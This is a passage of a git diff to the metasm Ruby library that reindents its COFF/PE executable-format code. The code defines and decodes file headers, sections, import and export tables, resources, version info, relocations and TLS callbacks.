#{e.data[0, 8].inspect}... <#{e.data.length} bytes>" + else + ar.last << ' ' << e.data.inspect + end + ar + }.flatten + end + + TYPE = { + 1 => 'CURSOR', 2 => 'BITMAP', 3 => 'ICON', 4 => 'MENU', + 5 => 'DIALOG', 6 => 'STRING', 7 => 'FONTDIR', 8 => 'FONT', + 9 => 'ACCELERATOR', 10 => 'RCADATA', 11 => 'MESSAGETABLE', + 12 => 'GROUP_CURSOR', 14 => 'GROUP_ICON', 16 => 'VERSION', + 17 => 'DLGINCLUDE', 19 => 'PLUGPLAY', 20 => 'VXD', + 21 => 'ANICURSOR', 22 => 'ANIICON', 23 => 'HTML', + 24 => 'MANIFEST' + } + + ACCELERATOR_BITS = { + 1 => 'VIRTKEY', 2 => 'NOINVERT', 4 => 'SHIFT', 8 => 'CTRL', + 16 => 'ALT', 128 => 'LAST' + } + + # cursor = raw data, cursor_group = header , pareil pour les icons + class Cursor + attr_accessor :xhotspot, :yhotspot, :data + end + end + + attr_accessor :header, :optheader, :directory, :sections, :endianness, :symbols, :bitsize, + :export, :imports, :resource, :certificates, :relocations, :debug, :tls, :loadconfig, :delayimports, :com_header + + # boolean, set to true to have #decode() ignore the base_relocs directory + attr_accessor :nodecode_relocs + + def initialize(*a) + cpu = a.grep(CPU).first + @nodecode_relocs = true if a.include? :nodecode_relocs + + @directory = {} # DIRECTORIES.key => [rva, size] + @sections = [] + @endianness = cpu ? cpu.endianness : :little + @bitsize = cpu ? cpu.size : 32 + @header = Header.new + @optheader = OptionalHeader.new + super(cpu) + end + + def shortname; 'coff'; end end # the COFF archive file format # maybe used in .lib files (they hold binary import information for libraries) # used for unix .a static library files (with no 2nd linker and newline-separated longnames) class COFFArchive < ExeFormat - class Member < SerialStruct - mem :name, 16 - mem :date, 12 - mem :uid, 6 - mem :gid, 6 - mem :mode, 8 - mem :size, 10 - mem :eoh, 2 - - attr_accessor :offset, :encoded - end - - class ImportHeader < SerialStruct - halfs :sig1, :sig2, :version, :machine - words :timestamp, :size_of_data - half :hint - bitfield :half, 0 => :reserved, 11 => :name_type, 14 => :type - #fld_enum :type, IMPORT_TYPE - #fld_enum :name_type, NAME_TYPE - strz :symname - strz :libname - end - - attr_accessor :members, :signature, :first_linker, :second_linker, :longnames - - # return the 1st member whose name is name - def member(name) - @members.find { |m| m.name == name } - end + class Member < SerialStruct + mem :name, 16 + mem :date, 12 + mem :uid, 6 + mem :gid, 6 + mem :mode, 8 + mem :size, 10 + mem :eoh, 2 + + attr_accessor :offset, :encoded + end + + class ImportHeader < SerialStruct + halfs :sig1, :sig2, :version, :machine + words :timestamp, :size_of_data + half :hint + bitfield :half, 0 => :reserved, 11 => :name_type, 14 => :type + #fld_enum :type, IMPORT_TYPE + #fld_enum :name_type, NAME_TYPE + strz :symname + strz :libname + end + + attr_accessor :members, :signature, :first_linker, :second_linker, :longnames + + # return the 1st member whose name is name + def member(name) + @members.find { |m| m.name == name } + end end end diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb index 5d28012a8fc31..5a718a13fea48 100644 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ b/lib/metasm/metasm/exe_format/coff_decode.rb @@ -9,893 +9,893 @@ module Metasm class COFF - class OptionalHeader - decode_hook(:entrypoint) { |coff, ohdr| - coff.bitsize = (ohdr.signature == 'PE+' ? 64 : 32) - } - - # decodes a COFF optional header from coff.cursection - # also decodes directories in coff.directory - def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 - super(coff) - - nrva = @numrva - if @numrva > DIRECTORIES.length - puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length - end - - coff.directory = {} - DIRECTORIES[0, nrva].each { |dir| - rva = coff.decode_word - sz = coff.decode_word - if rva != 0 or sz != 0 - coff.directory[dir] = [rva, sz] - end - } - end - end - - class Symbol - def decode(coff, strtab='') - n0, n1 = coff.decode_word, coff.decode_word - coff.encoded.ptr -= 8 - - super(coff) - - if n0 == 0 and ne = strtab.index(?\0, n1) - @name = strtab[n1...ne] - end - return if @nr_aux == 0 - - @aux = [] - @nr_aux.times { @aux << coff.encoded.read(18) } - end - end - - class Section - def decode(coff) - super(coff) - coff.decode_section_body(self) - end - end - - class RelocObj - def decode(coff) - super(coff) - @sym = coff.symbols[@symidx] - end - end - - class ExportDirectory - # decodes a COFF export table from coff.cursection - def decode(coff) - super(coff) - - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@func_p) - @exports = [] - addrs = [] - @num_exports.times { addrs << coff.decode_word } - @num_exports.times { |i| - e = Export.new - e.ordinal = i + @ordinal_base - addr = addrs[i] - if addr >= coff.directory['export_table'][0] and addr < coff.directory['export_table'][0] + coff.directory['export_table'][1] and coff.sect_at_rva(addr) - name = coff.decode_strz - e.forwarder_lib, name = name.split('.', 2) - if name[0] == ?# - e.forwarder_ordinal = name[1..-1].to_i - else - e.forwarder_name = name - end - else - e.target = e.target_rva = addr - end - @exports << e - } - end - if coff.sect_at_rva(@names_p) - namep = [] - num_names.times { namep << coff.decode_word } - end - if coff.sect_at_rva(@ord_p) - ords = [] - num_names.times { ords << coff.decode_half } - end - if namep and ords - namep.zip(ords).each { |np, oi| - @exports[oi].name_p = np - if coff.sect_at_rva(np) - @exports[oi].name = coff.decode_strz - end - } - end - end - end - - class ImportDirectory - # decodes all COFF import directories from coff.cursection - def self.decode_all(coff) - ret = [] - loop do - idata = decode(coff) - break if [idata.ilt_p, idata.libname_p].uniq == [0] - ret << idata - end - ret.each { |idata| idata.decode_inner(coff) } - ret - end - - # decode the tables referenced - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@ilt_p) || coff.sect_at_rva(@iat_p) - addrs = [] - while (a_ = coff.decode_xword) != 0 - addrs << a_ - end - - @imports = [] - - ord_mask = 1 << (coff.bitsize-1) - addrs.each { |a| - i = Import.new - if (a & ord_mask) != 0 - i.ordinal = a & (~ord_mask) - else - i.hintname_p = a - if coff.sect_at_rva(a) - i.hint = coff.decode_half - i.name = coff.decode_strz - end - end - @imports << i - } - end - - if coff.sect_at_rva(@iat_p) - @iat = [] - while (a = coff.decode_xword) != 0 - @iat << a - end - end - end - end - - class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr) - super(coff, edata) - - @entries = [] - - nrnames = @nr_names if $DEBUG - (@nr_names+@nr_id).times { + class OptionalHeader + decode_hook(:entrypoint) { |coff, ohdr| + coff.bitsize = (ohdr.signature == 'PE+' ? 64 : 32) + } + + # decodes a COFF optional header from coff.cursection + # also decodes directories in coff.directory + def decode(coff) + return set_default_values(coff) if coff.header.size_opthdr == 0 + super(coff) + + nrva = @numrva + if @numrva > DIRECTORIES.length + puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE + nrva = DIRECTORIES.length + end + + coff.directory = {} + DIRECTORIES[0, nrva].each { |dir| + rva = coff.decode_word + sz = coff.decode_word + if rva != 0 or sz != 0 + coff.directory[dir] = [rva, sz] + end + } + end + end + + class Symbol + def decode(coff, strtab='') + n0, n1 = coff.decode_word, coff.decode_word + coff.encoded.ptr -= 8 + + super(coff) + + if n0 == 0 and ne = strtab.index(?\0, n1) + @name = strtab[n1...ne] + end + return if @nr_aux == 0 + + @aux = [] + @nr_aux.times { @aux << coff.encoded.read(18) } + end + end + + class Section + def decode(coff) + super(coff) + coff.decode_section_body(self) + end + end + + class RelocObj + def decode(coff) + super(coff) + @sym = coff.symbols[@symidx] + end + end + + class ExportDirectory + # decodes a COFF export table from coff.cursection + def decode(coff) + super(coff) + + if coff.sect_at_rva(@libname_p) + @libname = coff.decode_strz + end + + if coff.sect_at_rva(@func_p) + @exports = [] + addrs = [] + @num_exports.times { addrs << coff.decode_word } + @num_exports.times { |i| + e = Export.new + e.ordinal = i + @ordinal_base + addr = addrs[i] + if addr >= coff.directory['export_table'][0] and addr < coff.directory['export_table'][0] + coff.directory['export_table'][1] and coff.sect_at_rva(addr) + name = coff.decode_strz + e.forwarder_lib, name = name.split('.', 2) + if name[0] == ?# + e.forwarder_ordinal = name[1..-1].to_i + else + e.forwarder_name = name + end + else + e.target = e.target_rva = addr + end + @exports << e + } + end + if coff.sect_at_rva(@names_p) + namep = [] + num_names.times { namep << coff.decode_word } + end + if coff.sect_at_rva(@ord_p) + ords = [] + num_names.times { ords << coff.decode_half } + end + if namep and ords + namep.zip(ords).each { |np, oi| + @exports[oi].name_p = np + if coff.sect_at_rva(np) + @exports[oi].name = coff.decode_strz + end + } + end + end + end + + class ImportDirectory + # decodes all COFF import directories from coff.cursection + def self.decode_all(coff) + ret = [] + loop do + idata = decode(coff) + break if [idata.ilt_p, idata.libname_p].uniq == [0] + ret << idata + end + ret.each { |idata| idata.decode_inner(coff) } + ret + end + + # decode the tables referenced + def decode_inner(coff) + if coff.sect_at_rva(@libname_p) + @libname = coff.decode_strz + end + + if coff.sect_at_rva(@ilt_p) || coff.sect_at_rva(@iat_p) + addrs = [] + while (a_ = coff.decode_xword) != 0 + addrs << a_ + end + + @imports = [] + + ord_mask = 1 << (coff.bitsize-1) + addrs.each { |a| + i = Import.new + if (a & ord_mask) != 0 + i.ordinal = a & (~ord_mask) + else + i.hintname_p = a + if coff.sect_at_rva(a) + i.hint = coff.decode_half + i.name = coff.decode_strz + end + end + @imports << i + } + end + + if coff.sect_at_rva(@iat_p) + @iat = [] + while (a = coff.decode_xword) != 0 + @iat << a + end + end + end + end + + class ResourceDirectory + def decode(coff, edata = coff.curencoded, startptr = edata.ptr) + super(coff, edata) + + @entries = [] + + nrnames = @nr_names if $DEBUG + (@nr_names+@nr_id).times { e = Entry.new e_id = coff.decode_word(edata) e_ptr = coff.decode_word(edata) - if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer - puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE - next - end - - tmp = edata.ptr - - if (e_id >> 31) == 1 - if $DEBUG - nrnames -= 1 - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames < 0 - end - e.name_p = e_id & 0x7fff_ffff - edata.ptr = startptr + e.name_p - namelen = coff.decode_half(edata) - e.name_w = edata.read(2*namelen) - if (chrs = e.name_w.unpack('v*')).all? { |c| c >= 0 and c <= 255 } - e.name = chrs.pack('C*') - end - else - if $DEBUG - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames > 0 - end - e.id = e_id - end - - if (e_ptr >> 31) == 1 # subdir - e.subdir_p = e_ptr & 0x7fff_ffff - if startptr + e.subdir_p >= edata.length - puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - else - edata.ptr = startptr + e.subdir_p - e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr - end - else - e.dataentry_p = e_ptr - edata.ptr = startptr + e.dataentry_p - e.data_p = coff.decode_word(edata) - sz = coff.decode_word(edata) - e.codepage = coff.decode_word(edata) - e.reserved = coff.decode_word(edata) - - if coff.sect_at_rva(e.data_p) - e.data = coff.curencoded.read(sz) - else - puts 'W: COFF: invalid resource body offset' if $VERBOSE - break - end - end - - edata.ptr = tmp - @entries << e - } - end - - def decode_version(coff, lang=nil) - vers = {} - - decode_tllv = lambda { |ed, state| - sptr = ed.ptr - len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed) - tagname = '' - while c = coff.decode_half(ed) and c != 0 - tagname << (c&255) - end - ed.ptr = (ed.ptr + 3) / 4 * 4 - - case state - when 0 - raise if tagname != 'VS_VERSION_INFO' - dat = ed.read(vlen) - dat.unpack('V*').zip([:signature, :strucversion, :fileversionm, :fileversionl, :prodversionm, :prodversionl, :fileflagsmask, :fileflags, :fileos, :filetype, :filesubtype, :filedatem, :filedatel]) { |v, k| vers[k] = v } - raise if vers[:signature] != 0xfeef04bd - vers.delete :signature - vers[:fileversion] = (vers.delete(:fileversionm) << 32) | vers.delete(:fileversionl) - vers[:prodversion] = (vers.delete(:prodversionm) << 32) | vers.delete(:prodversionl) - vers[:filedate] = (vers.delete(:filedatem) << 32) | vers.delete(:filedatel) - nstate = 1 - when 1 - nstate = case tagname - when 'StringFileInfo'; :strtable - when 'VarFileInfo'; :var - else raise - end - when :strtable - nstate = :str - when :str - val = ed.read(vlen*2).unpack('v*') - val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } - vers[tagname] = val - when :var - val = ed.read(vlen).unpack('V*') - vers[tagname] = val - end - - ed.ptr = (ed.ptr + 3) / 4 * 4 - len = ed.length-sptr if len > ed.length-sptr - while ed.ptr < sptr+len - decode_tllv[ed, nstate] - ed.ptr = (ed.ptr + 3) / 4 * 4 - end - } - - return if not e = @entries.find { |e_| e_.id == TYPE.index('VERSION') } - e = e.subdir.entries.first.subdir - e = e.entries.find { |e_| e_.id == lang } || e.entries.first - ed = EncodedData.new(e.data) - decode_tllv[ed, 0] - - vers - #rescue - end - end - - class RelocationTable - # decodes a relocation table from coff.encoded.ptr - def decode(coff) - super(coff) - len = coff.decode_word - len -= 8 - if len < 0 or len % 2 != 0 - puts "W: COFF: Invalid relocation table length #{len+8}" if $VERBOSE - coff.curencoded.read(len) if len > 0 - @relocs = [] - return - end - - @relocs = coff.curencoded.read(len).unpack(coff.endianness == :big ? 'n*' : 'v*').map { |r| Relocation.new(r&0xfff, r>>12) } - #(len/2).times { @relocs << Relocation.decode(coff) } # tables may be big, this is too slow - end - end - - class TLSDirectory - def decode(coff) - super(coff) - - if coff.sect_at_va(@callback_p) - @callbacks = [] - while (ptr = coff.decode_xword) != 0 - # __stdcall void (*ptr)(void* dllhandle, dword reason, void* reserved) - # (same as dll entrypoint) - @callbacks << (ptr - coff.optheader.image_base) - end - end - end - end - - class LoadConfig - def decode(coff) - super(coff) - - if @sehcount >= 0 and @sehcount < 100 and (@signature == 0x40 or @signature == 0x48) and coff.sect_at_va(@sehtable_p) - @safeseh = [] - @sehcount.times { @safeseh << coff.decode_xword } - end - end - end - - class DelayImportDirectory - def self.decode_all(coff) - ret = [] - loop do - didata = decode(coff) - break if [didata.libname_p, didata.handle_p, didata.iat_p].uniq == [0] - ret << didata - end - ret.each { |didata| didata.decode_inner(coff) } - ret - end - - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - # TODO - end - end - - class Cor20Header - def decode_all(coff) - if coff.sect_at_rva(@metadata_rva) - @metadata = coff.curencoded.read(@metadata_sz) - end - if coff.sect_at_rva(@resources_rva) - @resources = coff.curencoded.read(@resources_sz) - end - if coff.sect_at_rva(@strongnamesig_rva) - @strongnamesig = coff.curencoded.read(@strongnamesig_sz) - end - if coff.sect_at_rva(@codemgr_rva) - @codemgr = coff.curencoded.read(@codemgr_sz) - end - if coff.sect_at_rva(@vtfixup_rva) - @vtfixup = coff.curencoded.read(@vtfixup_sz) - end - if coff.sect_at_rva(@eatjumps_rva) - @eatjumps = coff.curencoded.read(@eatjumps_sz) - end - if coff.sect_at_rva(@managednativehdr_rva) - @managednativehdr = coff.curencoded.read(@managednativehdr_sz) - end - end - end - - class DebugDirectory - def decode_inner(coff) - case @type - when 'CODEVIEW' - # XXX what is @pointer? - return if not coff.sect_at_rva(@addr) - sig = coff.curencoded.read(4) - case sig - when 'NB09' # CodeView 4.10 - when 'NB10' # external pdb2.0 - @data = NB10.decode(coff) - when 'NB11' # CodeView 5.0 - when 'RSDS' # external pdb7.0 - @data = RSDS.decode(coff) - end - end - end - end - - attr_accessor :cursection - def curencoded - @cursection.encoded - end - - def decode_byte( edata = curencoded) ; edata.decode_imm(:u8, @endianness) end - def decode_half( edata = curencoded) ; edata.decode_imm(:u16, @endianness) end - def decode_word( edata = curencoded) ; edata.decode_imm(:u32, @endianness) end - def decode_xword(edata = curencoded) ; edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end - def decode_strz( edata = curencoded) ; super(edata) ; end - - # converts an RVA (offset from base address of file when loaded in memory) to the section containing it using the section table - # updates @cursection and @cursection.encoded.ptr to point to the specified address - # may return self when rva points to the coff header - # returns nil if none match, 0 never matches - def sect_at_rva(rva) - return if not rva or rva <= 0 - if sections and not @sections.empty? - valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) } - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva } - s.encoded.ptr = rva - s.virtaddr - @cursection = s - elsif rva < @sections.map { |s_| s_.virtaddr }.min - @encoded.ptr = rva - @cursection = self - end - elsif rva <= @encoded.length - @encoded.ptr = rva - @cursection = self - end - end - - def sect_at_va(va) - sect_at_rva(va - @optheader.image_base) - end - - def label_rva(name) - if name.kind_of? Integer - name - elsif s = @sections.find { |s_| s_.encoded.export[name] } - s.virtaddr + s.encoded.export[name] - else - @encoded.export[name] - end - end - - # address -> file offset - # handles LoadedPE - def addr_to_fileoff(addr) - addr -= @load_address ||= @optheader.image_base - return 0 if addr == 0 # sect_at_rva specialcases 0 - if s = sect_at_rva(addr) - if s.respond_to? :virtaddr - addr - s.virtaddr + s.rawaddr - else # header - addr - end - end - end - - # file offset -> memory address - # handles LoadedPE - def fileoff_to_addr(foff) - if s = @sections.find { |s_| s_.rawaddr <= foff and s_.rawaddr + s_.rawsize > foff } - s.virtaddr + foff - s.rawaddr + (@load_address ||= @optheader.image_base) - elsif foff >= 0 and foff < @optheader.headers_size - foff + (@load_address ||= @optheader.image_base) - end - end - - def each_section - if @header.size_opthdr == 0 - @sections.each { |s| - next if not s.encoded - l = new_label(s.name) - s.encoded.add_export(l, 0) - yield s.encoded, l - } - return - end - base = @optheader.image_base - base = 0 if not base.kind_of? Integer - yield @encoded[0, @optheader.headers_size], base - @sections.each { |s| yield s.encoded, base + s.virtaddr } - end - - # decodes the COFF header, optional header, section headers - # marks entrypoint and directories as edata.expord - def decode_header - @cursection ||= self - @encoded.ptr ||= 0 - @sections = [] - @header.decode(self) - optoff = @encoded.ptr - @optheader.decode(self) - decode_symbols if @header.num_sym != 0 and not @header.characteristics.include? 'DEBUG_STRIPPED' - curencoded.ptr = optoff + @header.size_opthdr - decode_sections - if sect_at_rva(@optheader.entrypoint) - curencoded.add_export new_label('entrypoint') - end - (DIRECTORIES - ['certificate_table']).each { |d| - if @directory[d] and sect_at_rva(@directory[d][0]) - curencoded.add_export new_label(d) - end - } - end - - # decode the COFF symbol table (obj only) - def decode_symbols - endptr = @encoded.ptr = @header.ptr_sym + 18*@header.num_sym - strlen = decode_word - @encoded.ptr = endptr - strtab = @encoded.read(strlen) - @encoded.ptr = @header.ptr_sym - @symbols = [] - @header.num_sym.times { - break if @encoded.ptr >= endptr or @encoded.ptr >= @encoded.length - @symbols << Symbol.decode(self, strtab) - # keep the reloc.sym_idx accurate - @symbols.last.nr_aux.times { @symbols << nil } - } - end - - # decode the COFF sections - def decode_sections - @header.num_sect.times { - @sections << Section.decode(self) - } - # now decode COFF object relocations - @sections.each { |s| - next if s.relocnr == 0 - curencoded.ptr = s.relocaddr - s.relocs = [] - s.relocnr.times { s.relocs << RelocObj.decode(self) } - new_label 'pcrel' - s.relocs.each { |r| - case r.type - when 'DIR32' - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name], :u32, @endianness) - when 'REL32' - l = new_label('pcrel') - s.encoded.add_export(l, r.va+4) - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name, :-, l], :u32, @endianness) - end - } - } if not @header.characteristics.include?('RELOCS_STRIPPED') - symbols.to_a.compact.each { |sym| - next if not sym.sec_nr.kind_of? Integer - next if sym.storage != 'EXTERNAL' and (sym.storage != 'STATIC' or sym.value == 0) - next if not s = @sections[sym.sec_nr-1] - s.encoded.add_export new_label(sym.name), sym.value - } - end - - # decodes a section content (allows simpler LoadedPE override) - def decode_section_body(s) - raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = EncodedData.align_size(s.virtsize, @optheader.sect_align) - virt = raw = s.rawsize if @header.size_opthdr == 0 - s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new - s.encoded.virtsize = virt - end - - # decodes COFF export table from directory - # mark exported names as encoded.export - def decode_exports - if @directory['export_table'] and sect_at_rva(@directory['export_table'][0]) - @export = ExportDirectory.decode(self) - @export.exports.to_a.each { |e| - if e.name and sect_at_rva(e.target) - name = e.name - elsif e.ordinal and sect_at_rva(e.target) - name = "ord_#{@export.libname}_#{e.ordinal}" - end - e.target = curencoded.add_export new_label(name) if name - } - end - end - - # decodes COFF import tables from directory - # mark iat entries as encoded.export - def decode_imports - if @directory['import_table'] and sect_at_rva(@directory['import_table'][0]) - @imports = ImportDirectory.decode_all(self) - iatlen = @bitsize/8 - @imports.each { |id| - if sect_at_rva(id.iat_p) - ptr = curencoded.ptr - id.imports.each { |i| - if i.name - name = new_label i.name - elsif i.ordinal - name = new_label "ord_#{id.libname}_#{i.ordinal}" - end - if name - i.target ||= name - r = Metasm::Relocation.new(Expression[name], "u#@bitsize".to_sym, @endianness) - curencoded.reloc[ptr] = r - curencoded.add_export new_label('iat_'+name), ptr, true - end - ptr += iatlen - } - end - } - end - end - - # decodes resources from directory - def decode_resources - if @directory['resource_table'] and sect_at_rva(@directory['resource_table'][0]) - @resource = ResourceDirectory.decode(self) - end - end - - # decode the VERSION information from the resources (file version, os, copyright etc) - def decode_version(lang=0x409) - decode_resources if not resource - resource.decode_version(self, lang) - end - - # decodes certificate table - def decode_certificates - if ct = @directory['certificate_table'] - @certificates = [] - @cursection = self - @encoded.ptr = ct[0] - off_end = ct[0]+ct[1] - while @encoded.ptr < off_end - certlen = decode_word - certrev = decode_half - certtype = decode_half - certdat = @encoded.read(certlen) - @certificates << [certrev, certtype, certdat] - end - end - end - - # decode the COM Cor20 header - def decode_com - if @directory['com_runtime'] and sect_at_rva(@directory['com_runtime'][0]) - @com_header = Cor20Header.decode(self) - if sect_at_rva(@com_header.entrypoint) - curencoded.add_export new_label('com_entrypoint') - end - @com_header.decode_all(self) - end - end - - # decode COFF relocation tables from directory - def decode_relocs - if @directory['base_relocation_table'] and sect_at_rva(@directory['base_relocation_table'][0]) - end_ptr = curencoded.ptr + @directory['base_relocation_table'][1] - @relocations = [] - while curencoded.ptr < end_ptr - @relocations << RelocationTable.decode(self) - end - - # interpret as EncodedData relocations - relocfunc = ('decode_reloc_' << @header.machine.downcase).to_sym - if not respond_to? relocfunc - puts "W: COFF: unsupported relocs for architecture #{@header.machine}" if $VERBOSE - return - end - @relocations.each { |rt| - rt.relocs.each { |r| - if s = sect_at_rva(rt.base_addr + r.offset) - e, p = s.encoded, s.encoded.ptr - rel = send(relocfunc, r) - e.reloc[p] = rel if rel - end - } - } - end - end - - # decodes an I386 COFF relocation pointing to encoded.ptr - def decode_reloc_i386(r) - case r.type - when 'ABSOLUTE' - when 'HIGHLOW' - addr = decode_word - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'DIR64' - addr = decode_xword - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u64, @endianness) - end - else puts "W: COFF: Unsupported i386 relocation #{r.inspect}" if $VERBOSE - end - end - - def decode_debug - if dd = @directory['debug'] and sect_at_rva(dd[0]) - @debug = [] - p0 = curencoded.ptr - while curencoded.ptr < p0 + dd[1] - @debug << DebugDirectory.decode(self) - end - @debug.each { |dbg| dbg.decode_inner(self) } - end - end - - # decode TLS directory, including tls callback table - def decode_tls - if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) - @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) - s.encoded.add_export 'tls_callback_table' - @tls.callbacks.each_with_index { |cb, i| - @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } - end - end - end - - def decode_loadconfig - if lc = @directory['load_config'] and sect_at_rva(lc[0]) - @loadconfig = LoadConfig.decode(self) - end - end - - def decode_delayimports - if di = @directory['delay_import_table'] and sect_at_rva(di[0]) - @delayimports = DelayImportDirectory.decode_all(self) - end - end - - - # decodes a COFF file (headers/exports/imports/relocs/sections) - # starts at encoded.ptr - def decode - decode_header - decode_exports - decode_imports - decode_resources - decode_certificates - decode_debug - decode_tls - decode_loadconfig - decode_delayimports - decode_com - decode_relocs unless nodecode_relocs or ENV['METASM_NODECODE_RELOCS'] # decode relocs last - end - - # returns a metasm CPU object corresponding to +header.machine+ - def cpu_from_headers - case @header.machine - when 'I386'; Ia32.new - when 'AMD64'; X86_64.new - when 'R4000'; MIPS.new(:little) - else raise "unknown cpu #{@header.machine}" - end - end - - # returns an array including the PE entrypoint and the exported functions entrypoints - # TODO filter out exported data, include safeseh ? - def get_default_entrypoints - ep = [] - ep.concat @tls.callbacks.to_a if tls - ep << (@optheader.image_base + label_rva(@optheader.entrypoint)) - @export.exports.to_a.each { |e| - next if e.forwarder_lib or not e.target - ep << (@optheader.image_base + label_rva(e.target)) - } if export - ep - end - - def dump_section_header(addr, edata) - s = @sections.find { |s_| s_.virtaddr == addr-@optheader.image_base } - s ? "\n.section #{s.name.inspect} base=#{Expression[addr]}" : - addr == @optheader.image_base ? "// exe header at #{Expression[addr]}" : super(addr, edata) - end - - # returns an array of [name, addr, length, info] - def section_info - [['header', @optheader.image_base, @optheader.headers_size, nil]] + - @sections.map { |s| - [s.name, @optheader.image_base + s.virtaddr, s.virtsize, s.characteristics.join(',')] - } - end + if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer + puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE + next + end + + tmp = edata.ptr + + if (e_id >> 31) == 1 + if $DEBUG + nrnames -= 1 + puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames < 0 + end + e.name_p = e_id & 0x7fff_ffff + edata.ptr = startptr + e.name_p + namelen = coff.decode_half(edata) + e.name_w = edata.read(2*namelen) + if (chrs = e.name_w.unpack('v*')).all? { |c| c >= 0 and c <= 255 } + e.name = chrs.pack('C*') + end + else + if $DEBUG + puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames > 0 + end + e.id = e_id + end + + if (e_ptr >> 31) == 1 # subdir + e.subdir_p = e_ptr & 0x7fff_ffff + if startptr + e.subdir_p >= edata.length + puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE + else + edata.ptr = startptr + e.subdir_p + e.subdir = ResourceDirectory.new + e.subdir.decode coff, edata, startptr + end + else + e.dataentry_p = e_ptr + edata.ptr = startptr + e.dataentry_p + e.data_p = coff.decode_word(edata) + sz = coff.decode_word(edata) + e.codepage = coff.decode_word(edata) + e.reserved = coff.decode_word(edata) + + if coff.sect_at_rva(e.data_p) + e.data = coff.curencoded.read(sz) + else + puts 'W: COFF: invalid resource body offset' if $VERBOSE + break + end + end + + edata.ptr = tmp + @entries << e + } + end + + def decode_version(coff, lang=nil) + vers = {} + + decode_tllv = lambda { |ed, state| + sptr = ed.ptr + len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed) + tagname = '' + while c = coff.decode_half(ed) and c != 0 + tagname << (c&255) + end + ed.ptr = (ed.ptr + 3) / 4 * 4 + + case state + when 0 + raise if tagname != 'VS_VERSION_INFO' + dat = ed.read(vlen) + dat.unpack('V*').zip([:signature, :strucversion, :fileversionm, :fileversionl, :prodversionm, :prodversionl, :fileflagsmask, :fileflags, :fileos, :filetype, :filesubtype, :filedatem, :filedatel]) { |v, k| vers[k] = v } + raise if vers[:signature] != 0xfeef04bd + vers.delete :signature + vers[:fileversion] = (vers.delete(:fileversionm) << 32) | vers.delete(:fileversionl) + vers[:prodversion] = (vers.delete(:prodversionm) << 32) | vers.delete(:prodversionl) + vers[:filedate] = (vers.delete(:filedatem) << 32) | vers.delete(:filedatel) + nstate = 1 + when 1 + nstate = case tagname + when 'StringFileInfo'; :strtable + when 'VarFileInfo'; :var + else raise + end + when :strtable + nstate = :str + when :str + val = ed.read(vlen*2).unpack('v*') + val.pop if val[-1] == 0 + val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } + vers[tagname] = val + when :var + val = ed.read(vlen).unpack('V*') + vers[tagname] = val + end + + ed.ptr = (ed.ptr + 3) / 4 * 4 + len = ed.length-sptr if len > ed.length-sptr + while ed.ptr < sptr+len + decode_tllv[ed, nstate] + ed.ptr = (ed.ptr + 3) / 4 * 4 + end + } + + return if not e = @entries.find { |e_| e_.id == TYPE.index('VERSION') } + e = e.subdir.entries.first.subdir + e = e.entries.find { |e_| e_.id == lang } || e.entries.first + ed = EncodedData.new(e.data) + decode_tllv[ed, 0] + + vers + #rescue + end + end + + class RelocationTable + # decodes a relocation table from coff.encoded.ptr + def decode(coff) + super(coff) + len = coff.decode_word + len -= 8 + if len < 0 or len % 2 != 0 + puts "W: COFF: Invalid relocation table length #{len+8}" if $VERBOSE + coff.curencoded.read(len) if len > 0 + @relocs = [] + return + end + + @relocs = coff.curencoded.read(len).unpack(coff.endianness == :big ? 'n*' : 'v*').map { |r| Relocation.new(r&0xfff, r>>12) } + #(len/2).times { @relocs << Relocation.decode(coff) } # tables may be big, this is too slow + end + end + + class TLSDirectory + def decode(coff) + super(coff) + + if coff.sect_at_va(@callback_p) + @callbacks = [] + while (ptr = coff.decode_xword) != 0 + # __stdcall void (*ptr)(void* dllhandle, dword reason, void* reserved) + # (same as dll entrypoint) + @callbacks << (ptr - coff.optheader.image_base) + end + end + end + end + + class LoadConfig + def decode(coff) + super(coff) + + if @sehcount >= 0 and @sehcount < 100 and (@signature == 0x40 or @signature == 0x48) and coff.sect_at_va(@sehtable_p) + @safeseh = [] + 